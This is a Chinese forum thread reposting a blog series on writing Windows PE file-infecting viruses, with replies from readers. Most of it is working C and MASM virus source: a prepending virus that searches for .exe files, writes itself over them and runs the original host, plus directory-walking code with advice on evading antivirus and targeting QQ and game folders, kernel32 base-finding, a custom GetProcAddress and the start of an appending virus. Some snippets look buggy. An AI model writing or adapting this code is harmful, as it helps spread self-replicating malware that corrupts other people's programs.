首页
社区
课程
招聘
PE病毒学习(一、二、三、四、五、六、七、八)
发表于: 2010-10-23 18:53 52386

PE病毒学习(一、二、三、四、五、六、七、八)

2010-10-23 18:53
52386

欢迎来我的主页http://blog.csdn.net/yangbostar/

历史上,在windows95发布后,用高级语言编写的外壳病毒,经过简单地改造编译,就能从DOS平台迁移到windows平台上。

并且在这当中很多“前置病毒”,仅仅需要重新编译。

另外之所以用“前置病毒”作为第一分析样本,理由如下:

1.它具有基本病毒功能模块,这些模块在文件型病毒中是通用的

2.其框架结构,所需病毒技巧极少

3.拓展方便,通过不断地加入新功能,循序渐进的学习各种病毒技巧

4.加载新模块方便,适合测试其它病毒的某些功能模块

文件型病毒至少有这四个模块:

1.条件模块:判断触发条件和寻找符合条件的宿主文件

2.破坏模块:

3.感染模块:

4.宿主程序引导模块:将病毒的控制权移交给所触发病毒文件的宿主程序

样例:

1.条件模块:

   功能:搜索病毒文件所在目录中,规定数目的exe文件

//打开符合条件的文件

HANDLE OpenHostFile(const WIN32_FIND_DATA *pHost,DWORD *nCount)
{
HANDLE hHost=CreateFile(pHost->cFileName,
       GENERIC_READ|GENERIC_WRITE,
       FILE_SHARE_READ|FILE_SHARE_WRITE,
       0,
       OPEN_EXISTING,
       NULL,
       NULL);
if(hHost!=INVALID_HANDLE_VALUE)
  (*nCount)++;
return hHost;
}

//搜索函数
DWORD FindHostFile(HANDLE *szHostFileHandle,DWORD dwFindNumber)
{
DWORD dwResult=0;
WIN32_FIND_DATA fd;
HANDLE hFirst=FindFirstFile(_T("*.exe"),&fd);
szHostFileHandle[0]=OpenHostFile(&fd,&dwResult);
while(dwResult<dwFindNumber)
{
  DWORD dwTemp=dwResult;
  if(FindNextFile(hFirst,&fd))
  {
   HANDLE hTemp=OpenHostFile(&fd,&dwResult);
   if(INVALID_HANDLE_VALUE!=hTemp)
    szHostFileHandle[dwTemp]=hTemp;
  }
  else
   break;
}
return dwResult;
}

2.感染模块:

   功能:将病毒文件注入宿主文件,将原宿主文件向后移动

//定义病毒大小,使用全局变量是因为其它模块也要用到,53248是代码在VC2005  Debug模式下的生成文件大小,但并非都是这样,请自行确定,如果大小错误,那么感染后的文件运行会出错。

DWORD dwVirusSize=40960;
//感染模块
void Infect(HANDLE hHostFile,HANDLE hLocalFile)
{

DWORD dwHostSize=GetFileSize(hHostFile,0);
DWORD dwReadSize=0;
DWORD dwWriteSize=0;

char *pLocalTempBuf=(char*)malloc(sizeof(char)*dwVirusSize);
char *pHostTempBuf=(char*)malloc(sizeof(char)*dwHostSize);
ReadFile(hLocalFile,pLocalTempBuf,dwVirusSize,&dwReadSize,NULL);
ReadFile(hHostFile,pHostTempBuf,dwHostSize,&dwReadSize,NULL);

SetFilePointer(hHostFile,0,0,FILE_BEGIN);
WriteFile(hHostFile,pLocalTempBuf,dwVirusSize,&dwWriteSize,NULL);
WriteFile(hHostFile,pHostTempBuf,dwHostSize,&dwWriteSize,NULL);

//清理工作
SetFilePointer(hLocalFile,0,0,FILE_BEGIN);
free(pLocalTempBuf);
free(pHostTempBuf);
}

3.破坏模块:

  功能:仅仅打印提示。
VOID Destory()
{
MessageBox(NULL,_T("我保证什么都不做"),_T("Test"),MB_OK);
}

4.宿主程序引导模块

   功能:创建临时文件,将所触发的病毒文件的宿主程序写入,然后启动

VOID JumpLocalHostFile(HANDLE hLocalFile)
{
DWORD nCount=0;
DWORD dwLocalFileSize=GetFileSize(hLocalFile,0);
if(dwLocalFileSize==dwVirusSize)
  return ;
char *pTemp=(char*)malloc(sizeof(char)*(dwLocalFileSize-dwVirusSize));
ReadFile(hLocalFile,pTemp,(dwLocalFileSize-dwVirusSize),&nCount,NULL);

TCHAR szLocalPath[MAX_PATH];
TCHAR szTempPath[MAX_PATH];
TCHAR szTempName[50];
GetModuleFileName(NULL,szLocalPath,sizeof(szLocalPath));
GetTempPath(MAX_PATH,szTempPath);
GetFileTitle(szLocalPath,szTempName,50);
wcscat(szTempPath,szTempName);
HANDLE hJumpHost=CreateFile(szTempPath,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ,0,CREATE_NEW,NULL,NULL);
if(hJumpHost==INVALID_HANDLE_VALUE)
  return ;
WriteFile(hJumpHost,pTemp,(dwLocalFileSize-dwVirusSize),&nCount,NULL);
free(pTemp);
CloseHandle(hJumpHost);

PROCESS_INFORMATION information;
STARTUPINFO si = {sizeof(si)};

if(CreateProcess(szTempPath,NULL,
      NULL,NULL,
      FALSE,NORMAL_PRIORITY_CLASS,
      NULL,NULL,
      &si,&information))
{
  WaitForSingleObject(information.hProcess,INFINITE);
  DeleteFile(szTempPath);
}

}

5.程序入口

#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <Commdlg.h>
int APIENTRY _tWinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPTSTR    lpCmdLine,
                     int       nCmdShow)
{
TCHAR szLocalPath[MAX_PATH];
GetModuleFileName(NULL,szLocalPath,sizeof(szLocalPath));
HANDLE hLocalFileHandle=CreateFile(szLocalPath,
       GENERIC_READ,
       FILE_SHARE_READ,
       0,
       OPEN_EXISTING,
       NULL,
       NULL);
HANDLE szHostHandle[3];
DWORD dwFoundFileNumber=FindHostFile(szHostHandle,3);
Destory();

for(DWORD i=0;i<dwFoundFileNumber;i++)
{
  Infect(szHostHandle[i],hLocalFileHandle);
  CloseHandle(szHostHandle[i]);
}

JumpLocalHostFile(hLocalFileHandle);
CloseHandle(hLocalFileHandle);
return 0;
}

后面几章,我们将逐渐优化这段代码,加入新功能,来学习病毒技巧,为将来的PE病毒打基础


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 8
支持
分享
最新回复 (57)
雪    币: 78
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
貌似应用病毒!
2010-10-23 18:56
0
雪    币: 431
活跃值: (259)
能力值: ( LV9,RANK:230 )
在线值:
发帖
回帖
粉丝
3
没错,这是我的第一个作品,那时我还什么都不会,受Dos前置病毒启发,写的
2010-10-23 19:05
0
雪    币: 431
活跃值: (259)
能力值: ( LV9,RANK:230 )
在线值:
发帖
回帖
粉丝
4
在上一章中的“前置病毒”中,由于它只是一个测试病毒,因此该病毒只是搜索病毒文件所在文件夹的exe文件。

显然,为了让它具有更好传染性,能够历遍整个磁盘或某些重要文件夹的特性,是十分重要的。

开始讨论历遍之前,先让我们来改进原来的代码

首先在上一章的代码中,只要结尾是“.exe”的文件就被判断为"可执行程序",这种方法在大多数情况下是正确的,但是如果程序经过压缩或加密后,该文件的PE结构会有改变,虽然它实际上让然能履行可执行程序的功能,但针对PE文件的操作可能出错。因此,确定.exe后缀之后,做更加详细的文件类型检查很多时是必要的,参考代码如下:

************************************************************************/  

/* 函数说明:判断文件是否是可执行文件

/* 参    数: hFile 文件句柄

/* 返 回 值:是可执行文件返回真,否则返回假

BOOL IsExeFile(HANDLE hFile)
{
IMAGE_DOS_HEADER dosHeader;
IMAGE_NT_HEADERS32 ntHeader;
DWORD nCount;

BOOL bResult=FALSE;
ReadFile(hFile, &dosHeader, sizeof(dosHeader),&nCount, NULL);

//dos头检查
if(nCount== sizeof(dosHeader))
   if(dosHeader.e_magic == IMAGE_DOS_SIGNATURE) // 是不是有效的DOS 头?
     if(SetFilePointer(hFile, dosHeader.e_lfanew, NULL, FILE_BEGIN) != -1)

       {

//NT头检查

         ReadFile(hFile, &ntHeader, sizeof(ntHeader), &nCount, NULL);
         if(nCount == sizeof(ntHeader))
            if(ntHeader.Signature == IMAGE_NT_SIGNATURE) // 是不是有效的NT 头
               if(ntHeader.FileHeader.Characteristics&IMAGE_FILE_EXECUTABLE_IMAGE)//Characteristics也可判断

                                                                                                                                 //其他类型PE文件

                   bResult=TRUE;

       }
  SetFilePointer(hFile, 0, NULL, FILE_BEGIN)

  return bResult;

}

好嘞,终于进入正题,让我们谈谈历遍磁盘或目录的问题。

先说说好的病毒设计对历遍磁盘的设计要求:

        1、避免对系统冲击过大:历遍磁盘对系统冲击相当大,并且有可能多个病毒同时开启,如果搜索时间较长,应该适当挂起程序,

                                           将时间片还给系统

        2、最好限制搜索文件数量和范围:不要试图感染本机所有文件,这样只能是病毒和系统一起完蛋;感染系统文件虽然十分有用,

                                                       在有保护的情况下,非常容易被杀毒软件发现。

        3、搜索速度要快:很多时候,不能单独开启新进程执行正常程序,因此正常程序不得不等待病毒程序完毕

解决方方案:

        方案一:如果能干掉杀毒软件的话,将关键目录目标文件和一般目录结合搜索,能取得不错效果

        方案二:如果你为人低调的话,通过伪装或隐藏,比如模拟系统更新来注入到关键目录中

        方案三:没有办法也是办法,搜索普通目录,比如迅雷、qq、一些网游也是不错的选择

不管你选择哪种方法,这里给出一个文件树搜索参考代码:

************************************************************************/  

/* 函数说明:历遍该路径下的可执行文件

/* 参    数:Top   文件路径   int nCount 搜索符合要求文件的最大数目  pFileHandle 将找到的符合要求文件句柄储存在这里

/* 返 回 值:找到符合要求文件的数目  

int SearchHostFile(TCHAR* Top,int nCount,PHANDLE  szFileHandle)

{

  static  int  nResult=0;

  WIN32_FIND_DATA fd;
  HANDLE szFileHandle[nResult] = FindFirstFile(Top,&fd);
  if(szFileHandle[nResult]!=INVALID_HANDLE_VALUE)

  {

    if(fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
       SearchHostFile(fd.cFileName,nCount,szFileHandle);

    else

       {

          while(nResult<nCount)

          {

             if(IsExeFile(szFileHandle[nResult]))

               nResult++;

             FindNextFile(szFileHandle[nResult],&fd);

             if(szFileHandle[nResult]==INVALID_HANDLE_VALUE)

                break;

             sleep(0);

          }

       }     

   }

   return nResult;

}

以上纯属个人观点,由于本人能力有限,如有错误,请你指正,希望大家常来常往,互相交流

本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/yangbostar/archive/2010/09/19/5894360.aspx
2010-10-23 19:19
0
雪    币: 431
活跃值: (259)
能力值: ( LV9,RANK:230 )
在线值:
发帖
回帖
粉丝
5
对PE文件结构的各个值定义和作用,这里不提了,网上资源很多,百度一下就好了。所以,本章只说一下,作为代码编写者对PE文件结构操作的方法和技巧。

还是通过改进代码,来体会一下吧。

  你应该记得前面的BOOL IsPEFile(HANDLE hFIle) 这个函数吧,它的作用是判断文件是否为PE格式文件。它把文件句柄作为参数,虽然许多函数需要文件句柄这个参数,但是作为对PE文件结构操作的函数,这样做是不恰当的,因为如果这样做就要频繁的使用SetFilePointer()、ReadFile()、WriteFile()。假若以文件指针作为参数,那么这一类关于PE结构文件操作的代码,将大大简化。

举例:

BOOL IsPEFile(LPVOID ImageBase)

{

  PIMAGE_DOS_HEADER pDosHeader=NULL;

  PIMAGE_NT_HEADERS32 pNtHeaders=NULL;

//指针安全检查

  if(!ImageBase)

    return FALSE;

//dos头检查

  pDosHeader=(PIMAGE_DOS_HEADER)ImageBase;

  if(pDosHeader->e_magic!=IMAGE_DOS_SIGNATURE)

    return FALSE;

//NT文件头检查

  pNtHeaders=(PIMAGE_NT_HEADERS32)pDosHeader->e_lfanew;

  if(pNtHeaders->Signauture!=IMAGE_NT_SIGNATURE)

    return FALSE;

  return TRUE;

}

当然为了使文件以指针传入,需要将其映射到内存中,并且由于许多函数需要文件句柄,所以原来的HANDLE OpenHostFile()需要改造。

typedef struct PEFileInformation//用这个名字是因为将来还要添加其他成员

{

  HANDLE hFile;

  HANLDE hMap;

  LPVOID ImageBase;

}INFORMATION_PE_FILE,*PINFORMATION_PE_FILE;

PINFORMATION_PE_FILE OpenHostFile(PINFORMATION_PE_FILE pFile,\

                                                              const WIN32_FIND_DATA *pHost,\

                                                              DWORD *nCount)
{
  pFile.hFile=CreateFile(pHost->cFileName,
       GENERIC_READ|GENERIC_WRITE,
       FILE_SHARE_READ|FILE_SHARE_WRITE,
       0,
       OPEN_EXISTING,
       NULL,
       NULL);
if(pFile.hFile!=INVALID_HANDLE_VALUE)

{

   pFile.hMap=CreateFileMapping(pFile.hFile,NULL,PAGE_READONLY,0,0,NULL);

   pFile.ImageBase=MapViewOfFile(pFile.hMap,FILE_MAP_WRITE |FILE_MAP_READ,\

                                                       0,0,0,0);
   if(pFile.ImageBase!=NULL)

     (*nCount)++;

   else

     return NULL;

}

else

   return NULL;
return pFile;
}

OK,估计真正你已经了解PE文件结构操作的方法,即以DOS头为起点,逐步通过指针偏移,扫描PE结构,以下是一些获取常用PE结构参考代码

//获取NT文件头

PIMAGE_NT_HEADERS32 GetNtHeaders(LPVOID ImageBase)

{

  PIMAGE_DOS_HEADER pDosHeader=NULL;

  PIMAGE_NT_HEADERS32 pNtHeaders=NULL;

  if(!ImageBase)

    return NULL;

  

  pDosHeader=(PIMAGE_DOS_HEADER)ImageBase;

  pNtHeaders=(PIMAGE_NT_HEADERS32)pDosHeader->e_lfanew;

  return  pNtHeaders;

}

//获取PE可选文件头

PIMAGE_OPTIONAL_HEADER GetOptionalHeader(LPVOID ImageBase)

{

  PIMAGE_NT_HEADERS32 pNtHeaders=NULL;

  pNtHeaders=GetNtHeaders(ImageBase);

  if(!pNtHeader)

     return NULL;

  else

     return &pNtHeaders->Header;

}

//获得区块表指针

PIMAGE_SECTION_HEADER GetSectionHeader(LPVOID ImageBase)

{

  return (PIMAGE_SECTION_HEADER)(GetOptionalHeader(ImageBase)+sizeof(IMAGE_OPTIONAL_HEADER));

}

PE结构上还要许多重要的位置,用的时候以上面的函数为基点,编写自己的函数吧

本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/yangbostar/archive/2010/10/06/5924323.aspx
2010-10-23 19:23
0
雪    币: 431
活跃值: (259)
能力值: ( LV9,RANK:230 )
在线值:
发帖
回帖
粉丝
6
1.为何需要重定位?

病毒的生存空间就是宿主程序,而因为宿主程序的不同。所以病毒每次插入到宿主程序中的位置也不同。那么病毒需要用到的变量的位置就无法确定。所以这就是病毒首先要重定位的原因。在我们编写程序的时候,所用到的变量的位置都是相对与程序某一个位置的偏移,正常的程序加载的地址是唯一的,所以它们不需要重定位。而病毒的加载是随机的所以就有了重定位的过程。虽然加载的位置不一定,但是变量到某一个位置的偏移却是固定的。所以重定位的基本原理就是找到这个特殊的位置。具体的方法有很多种。这里说几种常见的。

前面介绍的“前置病毒”根本不需要重定位的,因为病毒写在病毒文件最前面,所以它的相对偏移和绝对偏移是相等的。

然而,从本章开始,我们要为名为“追加病毒”的病毒,做技术积累。因为该病毒将病毒体追加到病毒文件尾,它的相对偏移和绝对偏移显然是不相等的。

2.常见的重定位错误写法

call Entry

Entry:

pop ebp

sub ebp,offset Entry

mov ImagePosition,ebp

   其实这是一些关于计算机病毒教科书的故意错写的方法,,然而相当多的人不亲自动手实践,人云亦云,造成迄今为止大量的错误代码的出现,和病毒编写入门困难。

3.重定位正确写法和变体

start0:

...

start:

call Entry

...

Entry:

pop eax ;也可以用MOV EXX,[ESP]代替pop eax取出栈顶的内容

sub eax,5 ;减5是定位start的位置,如果定位start0的位置可写为sub eax,offset start- offset start0

本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/yangbostar/archive/2010/10/07/5925648.aspx
2010-10-23 19:25
0
雪    币: 431
活跃值: (259)
能力值: ( LV9,RANK:230 )
在线值:
发帖
回帖
粉丝
7
由于大部分的文件感染型病毒框架都不可以像“前置病毒”那样拥有自己的输入表,因此需要自行定位API

说一千道一万,想要定位API,大方向是要定位Kernel32.dll的基地址。

总结所以这些方法,可以分为是五个小方向,它们又产生很多变种。

一、定位kernel32.dll基地址的方法

(1)硬编码方式

    由于kernel32.dll的基地址在相同版本windows下,基本上它的位置是固定的。这种方法在早期的PE病毒中很常见,现在已经很少使用了。

(2)利用程序初始化时,首先寄存器或堆栈中保留的kernel32.dll内存模块中的某个地址,之后无论哪种变体,都是以这个kernel内的地址向前搜索,找到kernel.dll的基地址。

以下地方就存储着这些地址:  

                                     ①寄存器EDI

                                     ②刚刚初始化的堆栈:[esp]、[esp+4H]、[esp+10H]

以[esp+10h]为例,我们看一下参考代码(另外注释里有一些常见错误代码的写法):

Start:  

  mov edx,[esp+10h]
SearchDosHeader:
  dec  edx
  xor  dx,dx                       ;加速搜索,因为DLL以1M长度对齐,所以这里以64K字节为跨度来加速搜索
  cmp word ptr[edx],'ZM'  ;不要自作聪明写成'MZ',那是以字节逐个读取的结果

                                        ;,这里是以双字节读取的,'Z'在高位,'M'在低位,因此写为'ZM'
  jnz SearchDosHeader

IsNTHeaders:
  mov eax,[edx+3ch]        ;这里也不要写为[edx+IMAGE_NT_HEADERS32.Signatrue],这样不会得到想要的结果
  cmp word ptr [eax+edx],'EP' ;和'ZM'是一个道理
  jnz  SearchDosHeader

  mov KernelImageBase,edx  ;KernelImageBase是自定义局部变量,可以放在堆栈里

  ret
end Start

(3)遍历seh异常链,然后获得EXCEPTION_REGISTRATION结构prev为-1的异常处理过程地址,这个异常处理过程地址是位于kernel32.dll中,通过它向前搜索得到kernel32.dll的基地址。

以下是参考代码:

Start:

assume fs:nothing     ;Masm默认是不使用fs寄存器的,写上这句话才能使用
  mov edx,[fs:0]         ;获得EXCEPTION_REGISTRATION 结构地址
Next:
  inc   dword ptr [edx];将prev 成员 + 1,判断是否为零,然后恢复
  jz     Kml
  dec  dword ptr [edx]
  mov edx,[edx]
  jmp  Next

Kml:
  dec  dword ptr [edx];恢复 -1
  mov edx,[edx+4]

SearchDosHeader:
  dec  edx
  xor  dx,dx
  cmp word ptr[edx],'ZM'
  jnz SearchDosHeader

IsNTHeaders:
  mov eax,[edx+3ch]
  cmp word ptr [eax+edx],'EP'
  jnz SearchDosHeader

  mov KernelImageBase,edx

  ret

end Start

(4)通过TEB获得PEB结构地址,然后再获得PEB_LDR_DATA 结构地址,然后遍历模块列表,查找kernel32.dll 模块的基地址。

Start:

assume fs:nothing

  mov edx, [fs:30h]    ;Get Peb
  mov edx, [edx+0ch] ;Get _PEB_LDR_DATA

  mov edx, [edx+1ch] ;Get InInitializationOrderModuleList.Flink, 此时eax 指向的是ntdll 模块的
                                ;InInitializationOrderModuleList 线性地址。所以我们获得它的下一个则是kernel32.dll
  mov edx, [edx]
  mov edx, [edx+8]    ; 8 = sizeof.LIST_ENTRY

  mov KernelImageBase,edx

  ret

end Start

(5)一个正常的程序的输入表都会加载Kernel32.dll,所以通过搜索宿主本身的输入表,再找到Kernel32.dll,然后搜索它基地址。但是这个方法缺点首先是代码长度比较长,并且病毒首次编译后,其本身输入表不加载Kernel32.dll,需要手工抽取代码,然后绑定到宿主程序上,这样病毒才算真正完成。

步骤:

1.找到本程序的PE头文件,方法有三种:①利用默认文件内存加载点400000h

                                                       ②利用进程初始化堆栈的[esp+34h]保存的程序入口点,向前找到问PE文件头

                                                       ③重定位当前点,向前搜索

2.再找到输入表、进而找到Kernel32.dll,代码就不写了,一点也不难

3.手工绑定,具体步骤请参考《Windows应用程序捆绑核心编程》(张正秋著)第一版的第11章。

二、通过自己实现的GetProcAddress定位API

   在Kernel32.dll中有GetProcAddress这个函数,它可以通过函数名定位函数入口地址。可是由于不知道GetProcAddress的地址,只好由我们自己实现,以下代码可供参考,如果对PE结构了解十分清楚,那么代码是很容易读懂的。

My_Get_API_Address proc Base:dword,sFunctionName:dword
LOCAL NumberOfName:dword
LOCAL AddressOfFunctions:dword
LOCAL AddressOfNames:dword
LOCAL AddressOfOrdinarls:dword
;定位输出表
  mov ebx,Base
  mov eax,[ebx+3ch]
  mov eax,[ebx+eax+78h]
  add eax,ebx
;取出输出表中一些有用的值   
  mov  ebx,[eax+18h]
  mov  NumberOfName,ebx
  mov  ebx,[eax+1ch]
  add  ebx,Base
  mov  AddressOfFunctions,ebx
  mov  ebx,[eax+20h]
  add  ebx,Base
  mov  AddressOfNames,ebx
  mov  ebx,[eax+24h]
  add  ebx,Base
  mov  AddressOfOrdinarls,ebx
;根据函数名找出函数ID
  xor eax,eax
  mov edi,AddressOfNames
  mov ecx,NumberOfName
  
  LoopNumberOfName:
        mov esi,sFunctionName
        push eax
        mov ebx,[edi]
        add ebx,Base
        Match_API:
         mov al,byte ptr[ebx]
         cmp al,[esi]
         jnz Not_Match
         or al,0h
         jz GetKernel_API_Index_Found
         inc ebx
         inc esi
         jmp Match_API
        Not_Match:
        pop eax
        inc eax
        add edi,4h
  loop LoopNumberOfName
GetKernel_API_Index_Found:
  pop eax  
;用函数ID找出函数入口地址  
Get_API_Address:  
  mov ebx,AddressOfOrdinarls
  movzx eax,word ptr[ebx+eax*2]
  imul eax,4h
  add  eax,AddressOfFunctions
  mov  eax,[eax]
  add  eax,Base
  ret
My_Get_API_Address endp

OK,既然已经有了自己编写的GetProcAddress,那么我们就可以通过它定位Kernel32.DLL里的正牌GetProcAddress和LoadLibraryA。

不过小陈告诉另一个方法,GetProcAddress和LoadLibraryA都可以不必定位,其中GetProcAddress可以使用自己编写了,自然可以不必定位。至于LoadLibrary返回的动态链接库DLL模块句柄,实际上就是动态链接库的基地址,虽然由于我们现在只有Kernel32.dll的基地址,如果想定位其他动态链接库,只有搜索宿主文件是否加载了相应的动态链接库,如果没有,也可修改它的PE文件头,让它在启动时加载该动态链接库,然后仿照搜索Kernel32.dll类似的方法,确定其入口地址,即模块句柄。

终于完成这章了,好幸福!关于动态重定位API方法肯定不止这些方法,比如“三、通过API的名称来定位API的地址”这个标题下应该不止一种方法,学海无涯啊。再次欢迎有好方法的高手,不吝赐教,帮助我不断更新这篇文章。

这里感谢pencil 和小陈,pencil提醒了我应该仿写GetProcAddress,小陈告诉了我,替代LoadLibraryA的实现方法。

本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/yangbostar/archive/2010/10/08/5928365.aspx
2010-10-23 19:32
0
雪    币: 678
活跃值: (101)
能力值: ( LV2,RANK:150 )
在线值:
发帖
回帖
粉丝
8
我想问问楼主是在哪些书上学习的。
2010-10-23 23:52
0
雪    币: 1159
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
楼主可以提供个PDF文件格式的学习资料吗?
2010-10-24 07:38
0
雪    币: 1708
活跃值: (586)
能力值: ( LV15,RANK:670 )
在线值:
发帖
回帖
粉丝
10
自己转自己的blog
数据逆向的第4章以后的文章都删了?
2010-10-24 10:47
0
雪    币: 431
活跃值: (259)
能力值: ( LV9,RANK:230 )
在线值:
发帖
回帖
粉丝
11
我是业余时间搞计算机的,数据逆向的博文没时间写,现在主要精力都用在“PE病毒学习”这个系列里了,而且这个系列还有很多后续文章要写,所以关于数据逆向的文章,恐怕得很久以后才能更新了。
2010-10-24 11:39
0
雪    币: 1163
活跃值: (137)
能力值: ( LV12,RANK:230 )
在线值:
发帖
回帖
粉丝
12
甚至有连LoadLibrary和GetprocAddress这两个函数都不定位,却能重定位其他API的方法


自己实现。。。
2010-10-25 14:37
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
不知道是什么类型的
2010-10-25 14:54
0
雪    币: 18
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
收藏!!有空学习下,顶顶!!!!!!
2010-10-25 14:56
0
雪    币: 57
活跃值: (55)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
15
帮你顶顶……
2010-10-25 18:17
0
雪    币: 431
活跃值: (259)
能力值: ( LV9,RANK:230 )
在线值:
发帖
回帖
粉丝
16
GetProcAddress我倒是能实现,但是关于LoadLibraryA的实现,我不会啊。你有什么方法吗?
2010-10-26 10:41
0
雪    币: 431
活跃值: (259)
能力值: ( LV9,RANK:230 )
在线值:
发帖
回帖
粉丝
17
OK,兑现我的承诺,从本章开始讲述“追加病毒”的编写方法。我们将实现一个只弹出对话框的良性病毒,但是考虑到这个代码可能造成的危害,我会在感染模块中写入一个小Bug。不过,对于大家的学习是毫无影响的。

  回到正题,先介绍一下“追加病毒”,在DOS时代中,这种病毒相当常见。由于.com文件的入口点是固定的,而且我们知道DOS平台程序可以随意使用中断,因此追加病毒只要将病毒代码追加到宿主文件尾,然后修改入口点代码成“jmp [病毒入口点]”,病毒执行完成后,再jmp到宿主程序。

  到了win32平台下,这种方法是不行滴。首先由于win32下,应用程序不能使用中断,取而代之的是API,但是常用宿主文件的PE文件格式只会为宿主文件本身配置API,病毒代码是不能直接得到的。其次将病毒代码追加到文件尾,如果不修改宿主文件的PE头,病毒可能不被加载到内存中。还有DOS追加病毒就存在的数据重定位问题,那么看看下面我们如何解决这些问题呢?

一.先看一下主模块——Main.asm

.386
.model flat, stdcall
option casemap:none
include windows.inc ;虽然不会调用这里的函数,但是其中的常量还是用的,比如INVILID
include My_Marco.asm ;自定义的一些宏,里边内容用的时候我再说

.code
Start:
  main proc
;主模块分成五个子模块
  Include Data_and_Locate.asm
   Include ReLocate_API.asm
   Include Infect.asm
   Include Destory.asm
   Include Cleanup_and_jmp.asm
  ret
main endp
include My_Function.asm;这个里边放着一些调用函数,比如是上一篇中的My_Get_API_Address
VirusSize=$-Start ;病毒长度

end Start

  

二.局部变量和只读数据以及只读数据重定位模块——Data_and_Locate.asm

;首先声明main proc的局部变量

LOCAL Kernel32Base:dword
LOCAL Kernel32NumberOfName:dword
LOCAL Kernel32AddressOfFunctions:dword
LOCAL Kernel32AddressOfNames:dword
LOCAL Kernel32AddressOfOrdinarls:dword
LOCAL DataBase:dword
LOCAL HostFileSize:dword

LOCAL hKernel32DLL:HANDLE
LOCAL hUser32DLL:HANDLE
LOCAL hFindFirstFile:HANDLE

LOCAL szLocalFilePath[MAX_PATH]:byte

LOCAL stHostFile:PE_FileInformation
LOCAL stLocalFile:PE_FileInformation

LOCAL aLoadLibraryA:dword
LOCAL aGetProcAddress:dword
LOCAL aCreateFileA:dword
LOCAL aCreateFileMappingA:dword
LOCAL aMapViewOfFile:dword
LOCAL aFindFirstFileA:dword
LOCAL aFindNextFileA:dword
LOCAL aGetModuleFileNameA:dword
LOCAL aGetFileSize:dword
LOCAL aUnmapViewOfFile:dword
LOCAL aCloseHandle:dword
LOCAL aMessageBoxA:dword

LOCAL Temp:dword
LOCAL fd:WIN32_FIND_DATA
LOCAL NewSectionTable:dword
LOCAL Virus_OEP_File:dword
LOCAL Virus_OEP_Map:dword

;重定位数据,使得数据内嵌在代码节中,同时定位标记“Data:”的地址
call Relocation   
Data:

     sLoadLibraryA =$-Data ;该只读数据与Data的偏移
      byte  'LoadLibraryA',0 ;数据内容,可以看出这是一个C风格的字符串
      
    sGetProcAddress        =$-Data
             byte         'GetProcAddress',0
     
     sKernel32DLL        =$-Data
             byte        'Kernel32.dll',0
            
     sUser32DLL                =$-Data
             byte        'User32.dll',0
     
     sCreateFileA        =$-Data
             byte        'CreateFileA',0
     
     sCreateFileMappingA=$-Data
        byte        'CreateFileMappingA',0
     
     sMapViewOfFile        =$-Data
             byte        'MapViewOfFile',0
     
     sFindFirstFileA        =$-Data
             byte        'FindFirstFileA',0
            
     sFindFirstFileA_Param=$-Data
        byte        '*.exe',0
     
     sFindNextFileA        =$-Data
             byte        'FindNextFileA',0
            
     sGetModuleFileNameA=$-Data
             byte        'GetModuleFileNameA',0
     
     sUnmapViewOfFile        =$-Data
             byte        'UnmapViewOfFile',0
            
     sGetFileSize        =$-Data
        byte        'GetFileSize',0
            
     sCloseHandle        =$-Data
        byte        'CloseHandle',0
            
     sCaption                =$-Data
             byte        'The virus for testing',0
     
     sContext                =$-Data
             byte         'This is a additional virus',0
     
     sMessageBoxA        =$-Data
        byte        'MessageBoxA',0
     
     sNewSectionName        =$-Data
             byte        '.Virus',0,0  
     
     aOEP_HostFile        =$-Data
        dword        0h                    
  
Relocation:
  pop DataBase ;不但pop的值恰好是Data:的地址,call又巧妙地跳过数据块

三.API重定位模块——ReLocate_API.asm

;取得Kernel32.dll的基址
  assume fs:nothing
  mov eax, [fs:30h]
  mov eax, [eax+0ch]
  mov eax, [eax+1ch]
  mov eax, [eax]
  mov eax, [eax+8h]
  mov  Kernel32Base,eax

;利用LoadLibrary和GetProcAddress取得所需函数的地址
;这里使用了My_Marco.asm的宏
;PushData macro Base,OffsetAddress
;  mov eax,Base
;  add eax,OffsetAddress
;  push eax
;ENDM

  PushData DataBase,sLoadLibraryA
  push Kernel32Base  
  call My_Get_API_Address
  mov  aLoadLibraryA,eax ;得到函数LoadLibraryA的地址

  PushData DataBase,sGetProcAddress
  push Kernel32Base  
  call My_Get_API_Address
  mov  aGetProcAddress,eax ;得到函数GetProcAddress的地址

;利用LoadLibrary和GetProcAddress取得所需函数的地址

;这里使用了My_Marco.asm的宏

;Using_API_LoadLibraryA macro Value,Base,OffsetAddress
;  PushData Base,OffsetAddress
;  call aLoadLibraryA
;  mov Value,eax
;ENDM

;Using_API_GetProcAddress macro Value,Base,OffsetAddress,hDLL
;  PushData Base,OffsetAddress
;  Push hDLL
;  call aGetProcAddress
;  mov Value,eax
;ENDM
  Using_API_LoadLibraryA hKernel32DLL,DataBase,sKernel32DLL
  Using_API_LoadLibraryA hUser32DLL,DataBase,sUser32DLL

  Using_API_GetProcAddress aCreateFileA,DataBase,sCreateFileA,hKernel32DLL
  Using_API_GetProcAddress aCreateFileMappingA,DataBase,sCreateFileMappingA,hKernel32DLL
  Using_API_GetProcAddress aMapViewOfFile,DataBase,sMapViewOfFile,hKernel32DLL
  Using_API_GetProcAddress aFindFirstFileA,DataBase,sFindFirstFileA,hKernel32DLL
  Using_API_GetProcAddress aFindNextFileA,DataBase,sFindNextFileA,hKernel32DLL
  Using_API_GetProcAddress aGetModuleFileNameA,DataBase,sGetModuleFileNameA,hKernel32DLL
  Using_API_GetProcAddress aUnmapViewOfFile,DataBase,sUnmapViewOfFile,hKernel32DLL
  Using_API_GetProcAddress aCloseHandle,DataBase,sCloseHandle,hKernel32DLL
